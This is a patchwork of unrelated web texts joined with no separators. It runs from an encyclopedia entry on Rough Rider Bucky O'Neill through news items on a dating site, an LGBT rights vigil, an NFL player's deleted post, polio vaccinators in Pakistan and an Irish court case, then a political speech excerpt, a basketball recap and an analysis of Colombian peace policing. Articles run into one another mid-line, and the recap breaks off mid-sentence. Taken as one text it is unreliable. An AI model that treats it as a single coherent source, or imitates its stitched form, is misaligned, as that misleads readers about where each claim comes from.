The most serious loss that I and the regiment could have suffered befell just before we charged. O'Neill was strolling up and down in front of his men, smoking his cigarette, for he was inveterately addicted to the habit. He had a theory that an officer ought never to take cover—a theory which was, of course, wrong, though in a volunteer organization the officers should certainly expose themselves very fully, simply for the effect on the men; our regimental toast on the transport running, 'The officers; may the war last until each is killed, wounded, or promoted.' As O'Neill moved to and fro, his men begged him to lie down, and one of the sergeants said, 'Captain, a bullet is sure to hit you.' O'Neill took his cigarette out of his mouth, and blowing out a cloud of smoke laughed and said, 'Sergeant, the Spanish bullet isn't made that will kill me.' A little later he discussed for a moment with one of the regular officers the direction from which the Spanish fire was coming. As he turned on his heel a bullet struck him in the mouth and came out at the back of his head; so that even before he fell his wild and gallant soul had gone out into the darkness.[19]
Before the fighting was over, O'Neill's men had buried him on the slope of San Juan Hill. After the war, his family and friends enlisted help from the War Department to find and recover his body. After six men failed to find the site, the War Department sent Henry Alfred Brown, the Rough Riders' Chaplain, to find him. Despite it being eight months since O'Neill's death, Chaplain Brown located the site within two hours after arriving in Santiago. The well preserved body was exhumed, placed in a coffin, and returned to the United States on the Army transport Crook.[20] He was reinterred in Arlington National Cemetery, Section 1, Site 294.[21] The epitaph on his gravestone reads,"Who would not die for a new star on the flag?"[22]
On July 3, 1907, a monument by sculptor Solon Borglum was dedicated to O'Neill and the other Rough Riders in their memory in Prescott, Arizona.[23] Seven thousand people gathered to witness the unveiling.
Movies [ edit ]
Bucky (sic) O'Neill is a main character in the TNT movie Rough Riders, portrayed by Sam Elliott[24]
See also [ edit ]
Notes [ edit ]
^ O'Neill's place of birth is subject to debate. During his life he claimed to have been born in Missouri and his widow listed "Saint Louis, Mo." as his place of birth when applying for a widow's pension. This is contradicted by his military muster-in roll which listed his place of birth as Ireland and the October 14, 1884 edition of "The Great Register of Yavapai County, Arizona Territory" which listed O'Neill as Native of Ireland and Naturalized by father's naturalization.
References [ edit ]
Bibliography [ edit ]ORLANDO, Fla., March 24 (UPI) -- A British expatriate living in Florida said her dating Web site, which aims to connect people in the United States and Britain, has reached 1,500 members.
Rochelle Peachey of Orlando, who has lived in the United States for about 13 years, said ILoveYourAccent.com, a Web site aimed at connecting people with differing accents from opposite sides of the Atlantic, has amassed 1,500 profiles since it went live late last year, the Orlando (Fla.) Sentinel reported Wednesday.
"Really, the question is: How do I go beyond my circle of friends?" Peachey said. "But it doesn't have to be about dating. There may be people who dream of going to London, but they don't know anyone there and don't have anyone to travel with. Here, they can meet some people and travel to London, where they'll know someone who can show them around."
Peachey said membership on the site is currently free, but she may start charging $20 to $25 a month if it grows in popularity. She said the site will soon have a feature allowing those browsing profiles to listen to voice clips and hear the accents for themselves.A new LGBT equality campaign backed by over 245 organizations,The Equality Pledge Network, will officially launch with an LGBT Civil Rights Vigil at the Martin Luther King Jr. Memorial in D.C. beginning at 8:30 p.m., Monday, June 30th. The event theme is "ADD 4 WORDS" reflecting a call for four words to be added to the 1964 Civil Rights Act. Those words are "sexual orientation" and "gender identity" (SO-GI).
Part vigil, part celebration, speakers will highlight the Network's wide-range of supporters for a one-bill, full equality solution, from the United Church of Christ, to Equality Illinois, to the San Francisco LGBT Center. A Proclamation from Mayor Pougnet of Palm Springs will be presented recognizing the California supporters and designating the first official "LGBT Equality Now Day." Activists will carry posters of LGBT children lost to discrimination, a key point in the campaign. And tribute will be paid to LGBT civil rights heroes, Eleanor Roosevelt and Bayard Rustin, who led the way with their unique gifts on the Universal Declaration on Human Rights and the 1964 Civil Rights Act, respectively.
Proponents assert that including LGBT Americans in the Civil Rights Act via one comprehensive bill is the most direct way to counter the vast harms caused by societal discrimination. "The inclusion of LGBT American in the Civil Rights Act of 1964 is right and necessary," said Veronica Eady, a board member of LGBTequalityNOW.org, the organization formed to support the Network. "As an African American woman, I understand why only fully inclusive nondiscrimination laws meet the standard for basic human dignity in our nation."
The power of seeking full equality is also highly motivating and could actually build the mass movement the LGBT movement requires to become a top Congressional priority. The Network points to the success of The Pledge for Full LGBT Equality at the heart of this campaign that brought the over 240 diverse organizations together around a shared intention, spanning sixteen statewide equality organizations from Equality Hawaii to Equality South Carolina, transgender groups such as the Tennessee Trans Political Alliance, PFLAG chapters from Pasadena to Ann Arbor, the ACLU of Mississippi, The Unitarian Universalists Association, Metropolitan Community Churches, LGBT Democrats of Virginia, Palm Springs and Florida, and over 11 City Council Proclamations from West Hollywood to New Orleans and Tallahassee.
Launching two new public policy arguments in a bi-partisan approach, the campaign's information-packed website features the cutting-edge facts about "minority stress" by Dr. Ilan Meyers of the William's Institute, detailing the harm LGBT people endure from discrimination to make the argument that discrimination must be outlawed on public health grounds as called for by the American Psychological Association and many others. And international law is also emphasized, referencing former Secretary of State Hillary Clinton's historic speech, and the United Nation's Free & Equal campaign, to make clear that Congress has a duty to include LGBT Americans in the country's nondiscrimination laws immediately.
The Network's organizing principles also break the corporate mold by empowering each group and activist to take ownership and create their own local strategies and tactics, supported by a core team of experts facilitating coalition building and messaging. Already over 40 seasoned, volunteer activists in 22 states are in place, including Attorney Peter Sergienko working with his gay son Kenneth in Oregon; Richard Noble, from the Walk Across America; Attorney Stephen Zollman of the National Equality March; Jeff White-Perkins from Mississippi; and Mika Covington and Ken Ritter, who have joined forces in Iowa/Nebraska.
The 2014 Campaign goals include increasing the coalition support from 245 to 500 organizations, establishing state leads in all 50 states, and conducting a 2014 Equality Poll to ascertain exactly who in Congress supports full LGBT equality and who does not. From there, the road-map to equality will be clear.
Marking the calendar to count the days to equality, the MLK Memorial event also celebrates 50 years since the passage of the 1964 Civil Rights Act, raising the obvious question: how long must LGBT Americans wait until four words are added? These four words -- sexual orientation and gender identity -- would outlaw discrimination in housing, employment, schools, public business, and all government programs, affecting homeless youth, HIV care, police brutality, adoption and bullying, combining most of the individual advocacy issues into a united front.
But even more fundamentally, the campaign to secure equal protection will serve to expose and heal the underlying homophobia and transphobia that horribly makes suicide the option for LGBT children, keeps 53 percent of LGBT Americans in the closet, living in daily fear, and has mothers rejecting their own babies. This is something no individual law can repair, but a movement with dignity can.
At the vigil, faith leaders and activists from across the country will offer inspiration and sing songs of empowerment as a community embrace envelops the iconic statue, setting a tone of loving-kindness for the work ahead. Please join us, all are welcomed.
Join The Equality Pledge Network campaign: www.LGBTequalityNOW.org.
Twitter: @EqualityPledge
Join "Add 4 Words" on FB: http://bit.ly/Add4WordsDCjune30
STATEMENTS of NETWORK STATE LEADS and BOARD MEMBERS:
MISSISSIPPI
Jeff White-Perkins, President Mississippi Gulf Coast Rainbow Center:
We in Mississippi support this pledge because throughout the history of our state, we have learned the lesson of how inequality can cause the destruction of the human spirit and how that can last for hundreds of years within the hearts and minds of our citizens. We hope to end that here and now.
NEW YORK
Cathy Marino-Thomas, Board, LGBTequalityNOW.org, former Board Chair, Marriage Equality USA:
Marriage equality, although important for our families, is not full federal equality. The time to be fully equal is now!
NEBRASKA:
Ken Ritter, Nebraskans for Equality:
Nebraskans for Equality is proud and excited to be part of a new dialogue for LGBT equality. It is time LGBT people learn about other areas of their rights as Americans that deserve full equal attention under the law.
LOUISIANA
Marcinho Savant, Entertainment Chair, Equality Pledge Network:
The Pledge is a no-brainer. There is no gray area, in equality. Either we are EQUAL, or we're not. The constitution has already answered in the letter and the spirit of the document. I choose equality. Equality now.
CALIFORNIA
Attorney Stephen Zollman, formerly of the National Equality March:
As Northern California's State Lead for the Equality Pledge Network, and Founder of Guerneville's Next Steps Towards Full Legal Equality, I would like to say that every one needs to do this for your youth! None of our youth should ever feel lesser than. Full Federal Equality Now!
ARIZONA
Erica Keppler, Chair, Arizona Stonewall Democrats:
For too long we have settled for pursuing piecemeal solutions to systemic cultural bigotry. It is time to deal with the entire problem head on. It is time for full federal equality.
TEXAS
Joyce Arnold:
With the state of inequality the reality for millions of us, residing in every state (including here in Texas), full equality at the federal level is crucial to advocacy efforts.
FLORIDA
Keri Kidder, Florida State Pledge Lead:
Jacksonville, Florida is still behind in Equality and we will continue to fight until everyone is equal.
IOWA
Mika Covington, Iowa State Pledge Lead:
As an new Iowan, I have come to experience equal rights here in Iowa. They are awesome. However, they are constantly under attack and we have to constantly fight to keep them. This is why it is more important than ever to get full federal human rights for everyone no matter their sexual orientation or gender identity. The fight forward is not over until all humans have full and equal human right.
NEW YORK
Pablo Colon, LGBT Activist, Board Member, LGBTequalityNOW.org:
We LGBT people, your sons, daughters, brothers and sisters demand to be equal under the law as we are under God! Join the Equality Pledge Network and be on the right side of history.
PENNSYLVANIA:
Jean Kryven, Pennsylvania State Lead:
Friends and family suffering discrimination and violence inspired me to volunteer with Equality Pledge Network. As a middle-aged straight ally, I was alive when Americans were killed while working for Civil Rights. From child labor laws at the turn of the century to the Equal Pay Act, mobilization and legislation are what expand good health, joy, and prosperity for all Americans.Browns' Isaiah Crowell walks off the field after beating the Atlanta Falcons at Georgia Dome on Nov. 23, 2014 in Atlanta, Georgia. (Photo by Scott Cunningham/Getty Images)
— An NFL player is apologizing for posting a graphic image on Instagram showing a man dressed in all black slitting the throat of a police officer.
Cleveland Browns running back Isaiah Crowell, 23, deleted the image he posted on Instagram showing blood gushing out of the officer’s neck. The image conjures up videos posted by the Islamic State of Iraq and Syria showing the terrorist known as “Jihadi John” beheading American and British victims.
“Mood: They give polices all types of weapons and they continuously choose to kill us…(hashtag)Weak,” the caption read.
Posted and then deleted from Isaiah Crowell's Instagram. pic.twitter.com/5gquTsL1Qc — CST (@CLEsportsTalk) July 11, 2016
Cleveland.com reported the image went up after two black men – Philando Castile in Falcon Heights, Minnesota, and Alton Sterling in Baton Rouge, Louisiana – were fatally shot by police, but before five police officers were killed in Dallas last Thursday.
“Last week was an emotional and difficult week as we saw extreme acts of violence against black men across our country as well as against police officers in Dallas. I posted an image to Instagram in the midst of that emotion that I shouldn’t have and immediately removed it. It was an extremely poor decision and I apologize for that mistake and for offending people. My values and beliefs do not match that image,” Crowell said in a statement.
The statement continued, “I am outraged and upset by the deaths of Alton Sterling and Philando Castile along with so many others. I am also outraged and saddened by the attacks in Dallas and the deaths of the 5 honorable police officers (Lorne Ahrens, Michael Krol, Michael J. Smith, Brent Thompson, and Patrick Zamarripa) who were providing protection while trying to keep peace. We have to be better as a society, it’s not about color, it’s about what’s right and wrong. I was very wrong in posting that image. Every single life matters, every death as a result of violence should be treated with equal outrage and penalty.”
It is not known if the Browns or the NFL will take action against Crowell over the Instagram post.
The third-year running back led the Browns in rushing last season with 706 yards. Crowell rushed for 1,313 yards and 12 touchdowns his first two seasons.Pakistani security officials give polio vaccines to children on Saturday after health workers refused to administer vaccines due to security fears. Polio workers are frequently attacked in Pakistan by Islamist militants. (WALI KHAN SHINWARI/EPA)
In the tribal badlands of Pakistan’s northwest, where Pakistani soldiers and American drones target Taliban insurgents, a parallel war is being waged over a crippling virus that endures in only three places in the world.
Last year, 83 new polio cases were reported in Pakistan, more than in either Afghanistan or Nigeria, the other countries where it is endemic.
But aggressive efforts to combat the virus are being hampered by a surge of attacks attributed to Islamist extremists. In the past three months, at least a dozen government vaccinators or their police escorts have been killed or wounded in the northwest region near the Afghan border.
Now officials hope that by enlisting influential Pakistanis, including Muslim scholars, in a high-profile campaign to endorse polio vaccines, they can defeat the shadowy gunmen and the remnants of doubt about the program among devout Muslims.
“This has been a very difficult campaign, but the problems are limited to a very few areas,” said Elias Durry, a doctor with the World Health Organization in Islamabad who heads the national polio vaccine campaign. “In places where the vaccinators can go, there is very little resistance. The major problem is that most cases are coming from areas where the vaccinators are not able to go.”
Health workers and officials have tried for years to persuade conservative Muslims to accept the vaccines. Violence against polio workers flared after revelations in 2011 that the CIA used a separate immunization campaign as a ruse to gain information about Osama bin Laden before he was killed in Pakistan. The attacks have continued sporadically ever since.
Spokesmen for the Pakistani Taliban deny carrying out the recent attacks, none of which has been solved. But the extremist group opposes the vaccines as a Western conspiracy against Islam. In districts that are too dangerous for health workers to enter, officials said, several hundred thousand children have not been immunized. As a consequence, the number of new cases in the country has risen sharply, from 51 in 2012.
Sami ul-Haq, a conservative Sunni cleric whose seminary, or madrassa, in this northwest town once trained Afghan Taliban fighters, is part of the new effort in support of the anti-polio campaign. He recently issued an Islamic edict declaring that vaccines against polio and other diseases are “useful” for health, that there is “no prohibition in Islam” against them and that “suspicions being spread about them have no basis in fact.”
“I felt it was important for the facts to be clear so people will not be confused,” ul-Haq, who was recently named as a government peace emissary to the Pakistani Taliban, said in an interview at his seminary. His vaccinated grandson Mohammed, 2, sat on his lap. “Islam says that treating all diseases is a must.”
One reason prominent Pakistanis are speaking up about polio is because of the growing threat of foreign quarantines and travel restrictions, especially for Pakistani workers abroad whose wages help prop up the nation’s teetering economy.
On Jan. 3, the government of India issued a mid-February deadline for all Pakistani visitors to obtain proof of polio immunization.
In a one-room vaccine clinic at a hospital near ul-Haq’s seminary, several women with covered faces waited on a recent afternoon for their babies to be immunized against polio and other diseases. The women said they did not know what the word “polio” meant, but they used a local term for “cripple” and said they wanted their children to be protected.
“We believe this is something good to serve humanity,” said Momin Khan, 53, a turbaned cattle farmer who had brought his wife with their infant grandson to be immunized.
The clinic technician, Jamal Shah, recounted that when the government began immunizing children against polio in the 1980s, many people believed the vaccines were a Western plot to sterilize Muslims. With public education, he said, resistance gradually declined. Today, Shah’s clinic inoculates about 5,000 children a month, and 34 million children in Pakistan have been immunized.
Against the immunizers
But Shah and other local medical officials said their work had been badly set back by the case of Shakil Afridi, a Pakistani surgeon from the tribal area. He was arrested in 2011 after being sent by the CIA to seek information about bin Laden, under the guise of conducting a hepatitis immunization survey in the northwest city where the al-Qaeda leader was later killed in a U.S. raid.
Afridi’s role was praised by U.S. officials but viewed as traitorous by many Pakistanis, and some Western medical charities said the false immunization scheme undermined their credibility. Afridi was convicted of treason and sentenced to 33 years in prison, though officials later said this was due to his alleged ties with Pakistani militant groups.
“That incident had a great effect on the minds of the people. After that, they started hating the polio teams,” Shah said. “Now that we have celebrities coming to support us, people are thinking more positively, and they are coming to us on their own. We only have about 10 families in our area who are still refusing the vaccine.”
In addition to ul-Haq’s edict, one of Pakistan’s most popular politicians, Imran Khan, visited clinics in this area late last month and was shown on television administering polio drops to children. The handsome former cricket star heads the party that holds power in Khyber Pakhtunkhwa province, which surrounds the semiautonomous tribal region.
Yet even though religious and cultural opposition to the vaccines has faded, and the Afridi case is no longer in the news, anti-Americanism still runs extremely high in this conservative region, largely because of the U.S. campaign of drone attacks against suspected militants.
In an e-mail this month, Taliban spokesman Ehsanullah Ehsan insisted that the polio campaign is “used to spy on our holy fighters, and many have been martyred” as a result. He cited bin Laden’s death in 2011 as an example.
Taliban officials have denied shooting the polio vaccinators, but lingering antipathy to a Western-backed medical campaign may well have motivated other militants or individuals to attack them. Even educated professionals in the area, including doctors, speak with deep anger about the Afridi espionage case and American drone attacks.
“I am a doctor, and I ask people to trust me. Afridi has done a very bad thing that also made him an enemy of every child in Pakistan,” said Akbar Khaksar, medical director of the hospital that houses Shah’s clinic.
He said the attacks against polio immunizers were orchestrated by “foreign terrorists” who want to weaken Pakistan.
‘A very sensitive issue’
The attacks have come despite stricter government oversight of the vaccine campaign, said the WHO’s Durry, and despite requirements that every immunization team be escorted by police. In November and December, teams were fatally attacked in Khyber, a busy trading area, and in Swabi, a market region between the tribal belt and the main provincial highway.
An aide to ul-Haq, who researches religious groups and publications, offered a detailed hypothesis about the intellectual source of the attacks. He said he had located anti-polio pamphlets and propaganda from Nigeria, where anti-vaccine sentiment has also damaged immunization efforts. They had been funneled through Islamist extremists in India and spread by anti-Western religious groups in Pakistan, he said.
“This is still a very sensitive issue,” said the aide, Izrar Madani. “All the madrassas have this kind of literature about the vaccine campaign being used by Western spies. The Afridi case really gave a boost to their argument.” Now that ul-Haq has publicly vouched for the vaccines and shown his family being immunized, Madani said, “we hope that will change.”After failing to turn up for a court action to have him jailed, disgraced former politician Ivor Callely has handed himself in more than week after a warrant was issued for his arrest.
Callely (58) of St Lawrence’s Road, Clontarf, was jailed for five months in 2014 for using false invoices to claim expenses €4,207.45 at Leinster House, Kildare Street, between November 2007 and December 2009 while he was a member of the Seanad.
In an unrelated case, a bench warrant for his arrest was issued on May 17th by Dublin District Court. The proceedings result from his failure to comply with terms of a 2013 District Court judgment compelling him to pay a €1,755 debt, provide details of his means or else face jail. Last week the court also heard he failed to provide the documentation.
He owes the money to Galway-based accountants Gallagher & Company who have asked the court to issue a committal order.
He appeared in custody on Wednesday evening before Judge John Brennan at Dublin District Court. Dressed in a dark blazer and grey trousers he remained silent during the proceedings.
‘No reply’
Garda Patrick Watson told the court that at 4pm on that day he arrested Mr Callely by appointment at the court on foot of the bench warrant. When cautioned he made “no reply”.
Garda Watson furnished him with a copy of the warrant and told the court there was no objection to bail.
Defence solicitor Pádraig Donovan handed in a medical certificate explaining that was the reason why his client did not appear in court last week. He confirmed the civil proceedings related to a debt and added that it was hoped for a resolution in two or three weeks.
Judge Brennan granted bail in Mr Callely’s own bond of €100 and ordered him to appear again on June 8th when civil proceedings will resume. After an hour in custody he emerged from the court house.
Last month Mr Callely, who claims he has needs a €2,500 a month “for a reasonable living”, had said he had done his best to contact the creditor about the debt but Judge Michael Coghlan told him he was in contempt of court orders and was facing jail.But what happens if ambition fails to counteract ambition? What happens if stability fails to assert itself in the face of chaos and instability? If decency fails to call out indecency? Were the shoe on the other foot, we Republicans—would we Republicans—meekly accept such behavior on display from dominant Democrats? Of course we wouldn’t, and we would be wrong if we did.
When we remain silent and fail to act when we know that that silence and inaction is the wrong thing to do—because of political considerations, because we might make enemies, because we might alienate the base, because we might provoke a primary challenge, because ad infinitum, ad nauseum—when we succumb to those considerations in spite of what should be greater considerations and imperatives in defense of the institutions and our liberty, we dishonor our principles and forsake our obligations. Those things are far more important than politics.
Now, I am aware that more politically savvy people than I will caution against such talk. I am aware that a segment of my party believes that anything short of complete and unquestioning loyalty to a president who belongs to my party is unacceptable and suspect.
If I have been critical, it is not because I relish criticizing the behavior of the president of the United States. If I have been critical, it is because I believe it is my obligation to do so, and as a matter of duty of conscience. The notion that one should stay silent as the norms and values that keep America strong are undermined and as the alliances and agreements that ensure the stability of the entire world are routinely threatened by the level of thought that goes into 140 characters—the notion that we should say and do nothing in the face of such mercurial behavior is ahistoric and, I believe, profoundly misguided.
A president—a Republican president—named Roosevelt had this to say about the president and a citizen’s relationship to the office:
“The President is merely the most important among a large number of public servants. He should be supported or opposed exactly to the degree which is warranted by his good conduct or bad conduct, his efficiency or inefficiency in rendering loyal, able, and disinterested service to the nation as a whole.” He continued, “Therefore, it is absolutely necessary that there should be full liberty to tell the truth about his acts, and this means that it is exactly as necessary to blame him when he does wrong as to praise him when he does right. Any other attitude in an American citizen is both base and servile.” President Roosevelt continued. “To announce that there must be no criticism of the President, or that we are to stand by a President, right or wrong, is not only unpatriotic and servile, but is morally treasonable to the American public.”
Acting on conscience and principle is the manner in which we express our moral selves, and as such, loyalty to conscience and principle should supersede loyalty to any man or party. We can all be forgiven for failing in that measure from time to time. I certainly put myself at the top of the list of those who fall short in that regard. I am holier-than-none. But too often, we rush not to salvage principle but to forgive and excuse our failures so that we might accommodate them and go right on failing—until the accommodation itself becomes our principle.TAI’s Key Legislature… The game’s defining moment, its critical event, the wildest basketball thing you ever saw, or just stuff that happened. Wizards vs Bucks, Regular Season Game 37, Jan. 13, 2016, by Rashad Mobley (@rashad20).
Wizards snap 4-game home losing streak with 106-101 win. They forced 27 turnovers and had 18 steals, 2nd-most in franchise history. — Jorge Castillo (@jorgeccastillo) January 14, 2016
It is a clichéd sentiment, but Washington’s 106-101 victory over the Milwaukee Bucks Wednesday night was a microcosm of the 2015-2016 season thus far. There were injuries, a return from injury, unlikely heroes, an unnecessary struggle against a beatable team, and an entire quarter’s worth of offensive and defensive lapses. Also, while less common for this sub-.500 team: a convincing stretch of basketball that led to a win.
The most notable subplot of the evening was the return of Bradley Beal from a 16-game absence due to a stress reaction. He entered the game for Otto Porter with 3:29 left in the first quarter to a standing ovation from the Verizon Center crowd. Even John Wall took time to applaud the return of his backcourt mate.
Beal’s first basket came via a 19-footer, he passed up a second basket on a fastbreak to throw a textbook bounce pass to Ramon Sessions for an easy layup, and Beal dunked home his second score after Jared Dudley steal. Beal made his first three shots, missed his next four, but not one time did he appear to favor his leg, despite falling to the floor more than once. He played 22 minutes total, including the last 5:40 when the game still hung in the balance (because the Wizards could not hold a 13-point lead). On at least two occasions, the Bucks were so focused on the outside shooting capabilities of Beal that Dudley—who is third in the NBA in 3-point shooting percentage—had two open, game-clinching looks. Randy Wittman thought Beal looked good, but got “winded” and “wobbly.” Beal remarked that he was surprised how good he felt.
Lookin' good, Bradley Beal. In his first game back in 11 games, Beal throws one down. https://t.co/gxe39GJBL6 — NBA on ESPN (@ESPNNBA) January 14, 2016
The Wizards, before Beal entered the fray, jumped out to an 11-point lead in the first quarter. John Wall was his usual giving self with six assists to go along with his seven points. As a result, nine of the ten Wizards who played scored at least three points (except for DeJuan Blair, of course).
Otto Porter led the Wizards with eight first-quarter points, and Garrett Temple was the utility man. He had six points, five steals (victimizing Khris Middleton and Jabari Parker), and was the catalyst for the Wizards’ eight fastbreak points. Temple also had this John Wall-like block on O.J. Mayo:
What a sequence: Garrett Temple block, John Wall save, Jared Dudley scores. pic.twitter.com/7y7XcfRYry — Kyle Weidie (@Truth_About_It) January 14, 2016
Ramon Sessions picked up the scoring slack in the second quarter with eight points, but, as a team, the Wizards showed signs of falling off defensively. Sixteen of Milwaukee’s 25 points were scored in the paint (they did not make a 3-pointer the entire first half), with Greg Monroe (11 points) doing most of the damage. Nene picked up two quick fouls and was forced to sit, and with no Kris Humphries (knee) and no Marcin Gortat (knee infection), the job of center/big man was left to Drew Gooden and the aforementioned Blair. Neither were particularly effective, and the 13-point lead the Wizards carried into halftime looked tenuous at best.
Then came the dreadful third quarter.
The Bucks have shot over 50% the entire game which explains why they're creeping back in this game. The Wiz aren't playing interior D either — Rashad Mobley (@rashad20) January 14, 2016
Even with the second-quarter lapses in defense, first halves like the one the Wizards played against the lowly but potent Bucks are enough sway even the most cynical Wizards fans into believing that they’re watching a playoff team. Then the third quarter comes and the Wizards shoot 26 percent from the field while allowing the Bucks to shoot 61 percent. They lost the battle of the paint by surrendering 20 points inside and gave up 14 defensive rebounds. Giannis “Greek Freak” Antetokounpmo scored on Beal, Dudley, and Porter at will, while arguably the best player to matchup with Giannis, young Kelly Oubre, stayed glued to the bench until there were 27.3 seconds left in the third quarter.
During that quarter, the Bucks used a 21-5 run to lead 74-71 going into the fourth. Coach Wittman dismissed the third-quarter performance as a lapse in mindset. The Bucks “jumped on us,” he said. Wall, as one would expect from the leader of a team, had a more nuanced explanation for his team’s lapses:
“[We]started the third and didn’t do a great job stopping the 1-on-1 and giving some resistance in the post. That was the only thing that hurt us. We knew they weren’t going to shoot a lot of jump shots and they got a lot of points in the paint.”
Dudley opted for the blunt approach. “Defensively, I was terrible in the third and fourth quarter, I couldn’t get a stop. Giannis and Jabari had their way with me,” Dudley said after game.
The vise grip defense of Nene, Wall & Oubre decided that contest in 4th qtr for #Wizards The Big Brazilian was sensational — Adam McGinnis (@adammcginnis) January 14, 2016
The Wizards began the fourth quarter on a 12- |
in Mexico and Central America, military forces have regularly been deployed for policing purposes, and soldiers and commanders have regularly been reposted to or rehired in the police forces. Such an approach, however, comes with severe downsides. Policing skillsets, particularly those needed for good relations with local communities as well as for effective suppression of organized crime, such as hotspot and hot crime policing, are very different than military skills. In the most basic difference, police should be trained to deploy the minimum force feasible and only as last resort while soldiers are often trained to destroy the enemy with lethal force right from the start.
To develop positive relations with local communities and legitimacy, the Colombian police should make an effort to recruit locally, among communities with minimal to nonexistence presence in the police force, among the Afro-Colombian military, and among ex-FARC combatants and sympathizers who pass robust vetting and training programs.
Indeed, particularly rural units of the Colombian police force will require a reorientation toward community policing and protection and away from a de facto paramilitary counterinsurgency mindset. Colombian urban police forces attempted such a transformation several years ago. The National Quadrant Surveillance Plan, commonly referred to as “Plan Cuadrantes,” was adopted in 2010. It was built around community policing to redress the deficiencies and abusive patterns of previous policing in places such as Medellín. It has emphasized permanent unit deployments to communities, tasked individual police officers with getting to know the community, and mandated that they be present in any particular area for a substantial time before they would be rotated to another area. At first, the assessments seemed very positive, but with time, they have come to vary greatly.24 Fundación Ideaz para La Paz assessment in November 2012, for example, estimated an 18 percent decrease in homicides, 11 percent in personal assaults, and 22 percent in vehicle thefts.25 Subsequent studies, however, were more critical. Cómo Vamos, a research institution measuring the quality of life indicators in major cities in Colombia and abroad, ranked at a dismal second=to-last nationwide in perception of safety—with only 21 percent of residents feeling safe in the city.26 El Centro de Estudio y Análisis en Convivencia y Seguridad Ciudadana found in 2014 that 71 percent of respondents in Bogota were either “very dissatisfied” or “dissatisfied” with the police. Its report also calculated that homicides increased in the capital between 2013 and 2014.27 These varying assessments do not necessarily mean that the strategy and conceptualization are invalid: Both citizens’ perception of the police and safety and crime statistics vary for many reasons. Nonetheless, they do imply that many further improvements in o the approach and tailoring to specific localities were necessary. More broadly, they reveal that policing peace in Colombia will require a lot of adaptations and changes to what law enforcement used to be during the civil war and counterinsurgency.
Peace policing will also require robust accountability and civilian oversight. Thus moving the police force out of the Ministry of Defense where it has been located to under the Ministry of Interior or possibly elsewhere, but separate from the military forces, makes good sense. But beyond this institutional move, it is also necessary to systematically build and encourage joint citizen-police boards in cities and rural areas as mechanisms for police accountability and legitimacy as well as problem identification and strategy formulation.
Rightist Politicians and Elites and Vested Interests
Former President Álvaro Uribe (in office from 2002-2010) has determinedly campaigned to prevent and subvert the peace process with the FARC. The punishments, such as imprisonment, for the FARC that he has been insisting on is a victor’s peace that the FARC would never agree to; and the Colombian military could not bring about as it would require fully defeating the FARC throughout Colombia, which the government was nowhere close to achieving. Yet Uribe and the rightist politicians around him, such as rural elites and other vested interests, may not simply give up their effort to sabotage the peace process even after a yes-vote in the referendum and after the peace deal goes into effect. They might try to take a leaf out of the Philippine rightist forces playbook that repeatedly used judicial and legislative challenges to derail peace agreements with the MNLF. Counterinsurgency and political exchanges between Colombia and the Philippines have been on for several years, with Colombia trying to export its demobilization of the paramilitary groups as a demobilization model to the Philippines.
Far more easily, rightist politicians and vested interests could simply undermine the implementation of rural development from within. A profound rural transformation as promised in the agreement would reduce the disproportionate economic and political power rural elites still maintain and the impunity with which they are often able to act. Even recent history in Colombia is replete with examples of such dynamics. Its line ministries, such as the ministry of agriculture, were a major drag on Colombia’s National Territorial Consolidation Plan (Plan Nacional de Consolidación Territorial), i.e., the build phase of counterinsurgency seeking to bring a multifaceted and robust state presence and development to areas supposedly cleared off FARC presence during the latter parts of the Uribe administration and the early parts of the Juan Manuel Santos government.28 Thus the Consolidation Plan and similar efforts, even their flagship elements such as in the Macarena region,29 withered. The disappointing outcomes were partially due to a lack of resources, but more often and significantly due to line ministries being unable or unwilling to implement them effectively. Vested interests often managed to reshape policies meant to benefit marginalized population to benefit them instead.30 In fact, one of the reasons the Santos administration switched its focus and energies toward negotiating a peace with the FARC was the utter stalling of the Consolidation Plan and rural development in the line ministries and on the ground.
But even if line ministries could be incentivized to diligently implement state-building and rural development schemes and overcome severe coordination problems that previously further hollowed out the consolidation efforts, will effective municipal administration be able to function as state implementing partners? Injection of resources to municipal administrations will be crucial, yet it can also provide incentives for criminal groups and armed actors to seek to extort them and steal the development resources, as has repeatedly happened in Colombia. The Colombian state will thus need to mount far more effective protection of local mayors and administrations than it has historically been able to accomplish. One creative political role for the FARC could be to monitor and expose pressure from illegal groups or vested interests and agribusinesses to prevent such resource theft.
Paradoxically, the end to formal violence with the FARC and the increase of value of land and natural resources in previously contested or inaccessible areas could trigger new forms of violence, land theft, eviction, and displacement. That has already been the dynamic in Colombia for several years, with new intimidation and displacement of local populations taking over control of land for African oil palm cultivation, logging concessions, coal mining, and even ecotourism, such as in the Tayrona National Park.31 Indeed last year only, an astounding 200,000 people have been internally displaced due to new land theft, continuing criminal and political violence, and the drug trade.32 The peace deal promises to return the stolen land to the displaced, some 7 million in total, or provide them with new land in other areas. The Colombian government hopes to employ both space satellites and other technical solutions, as well as historic memories expressed through communal maps of land, to create cadasters and hand out titles. But such land restitution efforts have already been under way for most of the Santos administration, and have been very slow going. Much less land has actually been returned than was hoped for in 2010. Moreover, many of the displaced do not necessarily want to return to rural areas even as they economically struggle in the slums around Colombia’s large cities. Although providing them with economic aid packages as well as technical skills training and other assistance may oftentimes be far more economically viable in the medium term than seeking to return them to rural areas, in the short term, such urban-focused efforts also cost a lot.
The Cocaleros
Among the many claimants to the benefits of Colombia’s peace are the cocaleros. In the peace agreement, the FARC has committed itself to work to end Colombia’s drug trade and the government has committed itself to rural development that would provide the cocaleros with viable economic opportunities in the legal economy. After initially dismissing the cocalero protests against eradication, the Santos administration subsequently halted aerial spraying of coca crops, implementing manual eradication only.33 Aerial spraying has long been extremely contentious politically, providing the FARC with substantial political capital among the cocaleros.34 For many years, Colombia was the only country implementing spraying.
Providing effective alternative livelihoods to the several hundred thousand cocaleros, and many more who could take their place, will be very challenging, require vast resources, and take not years, but decades.
Yet amidst the political protests against eradication, and the political uncertainty over the peace process, coca cultivation has robustly increased in Colombia. According to the U.S. Department of State, coca cultivation in Colombia went up by some 39 percent, from 80,500 hectares (ha) in 2013 to 112,000 ha in 2014.35 Neither the United States nor the United Nations Office on Drugs and Crime (UNODC) have released data on Colombia’s coca cultivation in 2015, but the broad expectation is that they were not any lower, and instead likely higher, than in 2014. This is not at all surprising—the underlying causes of coca cultivation, including the marginalization of coca farmers, have never been addressed and coca cultivation has fluctuated in Colombia and for years has shifted among Colombia, Peru, and Bolivia based on varying market conditions, suppression levels, and other factors, such as crop disease.
